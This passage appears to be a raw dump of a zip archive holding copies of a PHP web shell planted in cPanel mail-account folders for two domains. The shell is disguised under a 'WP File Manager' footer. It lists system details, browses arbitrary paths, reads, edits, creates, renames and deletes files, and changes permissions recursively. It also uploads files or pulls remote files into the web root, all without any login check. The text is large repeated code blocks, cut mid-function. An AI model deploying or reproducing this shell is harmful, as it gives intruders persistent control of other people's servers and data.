"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@gjilan.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]¬BBinfo@bleje.net/.metadatanu„[µü¤[calendar] description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 type VCALENDAR [addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. PK“&{]„N9³§Ë§Ëinfo@bleje.net/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 